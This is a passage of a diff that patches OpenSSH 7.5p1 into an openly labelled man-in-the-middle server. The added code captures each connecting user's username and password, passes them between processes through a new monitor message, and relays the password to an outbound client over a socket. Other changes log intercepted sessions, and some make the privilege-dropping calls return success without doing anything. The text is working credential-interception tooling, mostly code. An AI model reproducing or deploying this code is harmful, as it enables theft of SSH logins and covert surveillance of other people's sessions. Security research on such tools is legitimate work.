/* This function requries careful sanity checking */
void
@@ -1627,6 +1654,16 @@
debug3("%s: GOT new keys", __func__);
}
+void
+mm_get_lol(struct monitor *pmonitor)
+{
+ debug3("%s: Waiting for lol", __func__);
+ if ((child_lol = sshbuf_new()) == NULL)
+ fatal("%s: sshbuf_new failed", __func__);
+ mm_request_receive_expect(pmonitor->m_sendfd, MONITOR_REQ_LOL, child_lol);
+ debug3("%s: GOT lol", __func__);
+}
+
/* XXX */
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.h openssh-7.5p1-mitm/monitor.h
--- openssh-7.5p1/monitor.h 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/monitor.h 2019-09-08 01:47:49.762198860 +0000
@@ -56,6 +56,7 @@
MONITOR_REQ_GSSUSEROK = 46, MONITOR_ANS_GSSUSEROK = 47,
MONITOR_REQ_GSSCHECKMIC = 48, MONITOR_ANS_GSSCHECKMIC = 49,
MONITOR_REQ_TERM = 50,
+ MONITOR_REQ_LOL = 52,
MONITOR_REQ_PAM_START = 100,
MONITOR_REQ_PAM_ACCOUNT = 102, MONITOR_ANS_PAM_ACCOUNT = 103,
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.c openssh-7.5p1-mitm/monitor_wrap.c
--- openssh-7.5p1/monitor_wrap.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/monitor_wrap.c 2019-09-08 21:49:49.875161682 +0000
@@ -482,6 +482,28 @@
sshbuf_free(m);
}
+void
+mm_send_lol(struct monitor *monitor, Lol *lol) {
+ struct sshbuf *m;
+
+ if ((m = sshbuf_new()) == NULL)
+ fatal("%s: sshbuf_new failed", __func__);
+ if (lol == NULL)
+ fatal("%s: lol is NULL!", __func__);
+
+ debug3("SENDING lol");
+
+ if (sshbuf_put_u32(m, lol->original_port) != 0 ||
+ sshbuf_put_string(m, lol->username, strlen(lol->username)) != 0 ||
+ sshbuf_put_string(m, lol->password, strlen(lol->password)) != 0) {
+ fatal("%s: can't pack lol!", __func__);
+ }
+
+ mm_request_send(monitor->m_recvfd, MONITOR_REQ_LOL, m);
+ debug3("%s: Finished sending lol", __func__);
+ sshbuf_free(m);
+}
+
int
mm_pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, size_t namebuflen)
{
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor_wrap.h openssh-7.5p1-mitm/monitor_wrap.h
--- openssh-7.5p1/monitor_wrap.h 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/monitor_wrap.h 2019-09-08 01:47:49.762198860 +0000
@@ -28,6 +28,8 @@
#ifndef _MM_WRAP_H_
#define _MM_WRAP_H_
+#include "lol.h"
+
extern int use_privsep;
#define PRIVSEP(x) (use_privsep ? mm_##x : x)
@@ -84,8 +86,11 @@
int mm_newkeys_to_blob(int, u_char **, u_int *);
void monitor_apply_keystate(struct monitor *);
+void monitor_apply_lol(struct monitor *, Lol *);
void mm_get_keystate(struct monitor *);
+void mm_get_lol(struct monitor *);
void mm_send_keystate(struct monitor*);
+void mm_send_lol(struct monitor *, Lol *);
/* bsdauth */
int mm_bsdauth_query(void *, char **, char **, u_int *, char ***, u_int **);
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-misc.c openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c
--- openssh-7.5p1/openbsd-compat/bsd-misc.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c 2019-09-08 01:47:49.762198860 +0000
@@ -80,6 +80,7 @@
#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID)
int seteuid(uid_t euid)
{
+ return 0;
return (setreuid(-1, euid));
}
#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */
@@ -87,6 +88,7 @@
#if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID)
int setegid(uid_t egid)
{
+ return 0;
return(setresgid(-1, egid, -1));
}
#endif /* !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-setres_id.c openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c
--- openssh-7.5p1/openbsd-compat/bsd-setres_id.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c 2019-09-08 01:47:49.762198860 +0000
@@ -29,7 +29,7 @@
setresgid(gid_t rgid, gid_t egid, gid_t sgid)
{
int ret = 0, saved_errno;
-
+ return 0;
if (rgid != sgid) {
errno = ENOSYS;
return -1;
@@ -64,7 +64,7 @@
setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
int ret = 0, saved_errno;
-
+ return 0;
if (ruid != suid) {
errno = ENOSYS;
return -1;
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/session.c openssh-7.5p1-mitm/session.c
--- openssh-7.5p1/session.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/session.c 2019-09-08 01:47:49.762198860 +0000
@@ -40,6 +40,10 @@
#ifdef HAVE_SYS_STAT_H
# include <sys/stat.h>
#endif
+#include <netinet/in.h>
+#include <resolv.h>
+#include <sys/file.h>
+#include <time.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
@@ -94,6 +98,7 @@
#include "kex.h"
#include "monitor_wrap.h"
#include "sftp.h"
+#include "digest.h"
#if defined(KRB5) && defined(USE_AFS)
#include <kafs.h>
@@ -116,16 +121,17 @@
void session_pty_cleanup(Session *);
void session_proctitle(Session *);
int session_setup_x11fwd(Session *);
-int do_exec_pty(Session *, const char *);
-int do_exec_no_pty(Session *, const char *);
+int do_exec_pty(Session *, const char *, char *);
+int do_exec_no_pty(Session *, const char *, char *);
int do_exec(Session *, const char *);
void do_login(Session *, const char *);
#ifdef LOGIN_NEEDS_UTMPX
static void do_pre_login(Session *s);
#endif
-void do_child(Session *, const char *);
+void do_child(Session *, const char *, char *);
void do_motd(void);
int check_quietlogin(Session *, const char *);
+double my_sleep(struct timespec *sleep_request);
static void do_authenticated2(Authctxt *);
@@ -140,6 +146,7 @@
extern int startup_pipe;
extern void destroy_sensitive_data(void);
extern Buffer loginmsg;
+extern Lol *lol;
/* original command from peer. */
const char *original_command = NULL;
@@ -165,6 +172,14 @@
static char *auth_sock_name = NULL;
static char *auth_sock_dir = NULL;
+/* This is the maximum number of times to attempt to open a log file for
+ * writing. */
+#define MAX_LOG_OPEN_TRIES 1048576 /* 1M */
+
+char *create_password_and_fingerprint_socket(int *sock_fd);
+void set_session_log(Session *s, unsigned int is_sftp, const char *command);
+void write_password_and_read_fingerprints(char **password_and_fingerprint_socket_name, int sock_fd, struct ssh *ssh_active_state, Channel *c);
+
/* removes the agent forwarding socket */
static void
@@ -291,7 +306,7 @@
* setting up file descriptors and such.
*/
int
-do_exec_no_pty(Session *s, const char *command)
+do_exec_no_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
{
pid_t pid;
@@ -343,6 +358,8 @@
session_proctitle(s);
+ set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
+
/* Fork the child. */
switch ((pid = fork())) {
case -1:
@@ -420,7 +437,7 @@
#endif
/* Do processing for the child (exec command etc). */
- do_child(s, command);
+ do_child(s, command, password_and_fingerprint_socket_name);
/* NOTREACHED */
default:
break;
@@ -475,7 +492,7 @@
* lastlog, and other such operations.
*/
int
-do_exec_pty(Session *s, const char *command)
+do_exec_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
{
int fdout, ptyfd, ttyfd, ptymaster;
pid_t pid;
@@ -507,6 +524,8 @@
return -1;
}
+ set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
+
/* Fork the child. */
switch ((pid = fork())) {
case -1:
@@ -553,7 +572,7 @@
* Do common processing for the child, such as execing
* the command.
*/
- do_child(s, command);
+ do_child(s, command, password_and_fingerprint_socket_name);
/* NOTREACHED */
default:
break;
@@ -619,6 +638,8 @@
int ret;
const char *forced = NULL, *tty = NULL;
char session_type[1024];
+ int sock_fd = -1;
+ char *password_and_fingerprint_socket_name = NULL;
if (options.adm_forced_command) {
original_command = command;
@@ -673,10 +694,23 @@
PRIVSEP(audit_run_command(shell));
}
#endif
+
+ /* Create a socket for the ssh client program to output its host key
+ * fingerprints back to us. */
+ password_and_fingerprint_socket_name = create_password_and_fingerprint_socket(&sock_fd);
+ if (sock_fd < 0) {
+ free(password_and_fingerprint_socket_name); password_and_fingerprint_socket_name = NULL;
+ fatal("MITM: failed to create socket.");
+ }
+
if (s->ttyfd != -1)
- ret = do_exec_pty(s, command);
+ ret = do_exec_pty(s, command, password_and_fingerprint_socket_name);
else
- ret = do_exec_no_pty(s, command);
+ ret = do_exec_no_pty(s, command, password_and_fingerprint_socket_name);
+
+ /* Write the password and read the client's host key fingerprints into
+ * the Channel struct. */
+ write_password_and_read_fingerprints(&password_and_fingerprint_socket_name, sock_fd, active_state, channel_by_id(s->chanid));
original_command = NULL;
@@ -1341,10 +1375,10 @@
#else
if (setlogin(pw->pw_name) < 0)
error("setlogin failed: %s", strerror(errno));
- if (setgid(pw->pw_gid) < 0) {
+ /*if (setgid(pw->pw_gid) < 0) {
perror("setgid");
exit(1);
- }
+ }*/
/* Initialize the group list. */
if (initgroups(pw->pw_name, pw->pw_gid) < 0) {
perror("initgroups");
@@ -1416,6 +1450,8 @@
#ifdef WITH_SELINUX
setexeccon(NULL);
#endif
+ logit("MITM: refusing to execute passwd.");
+ exit(1);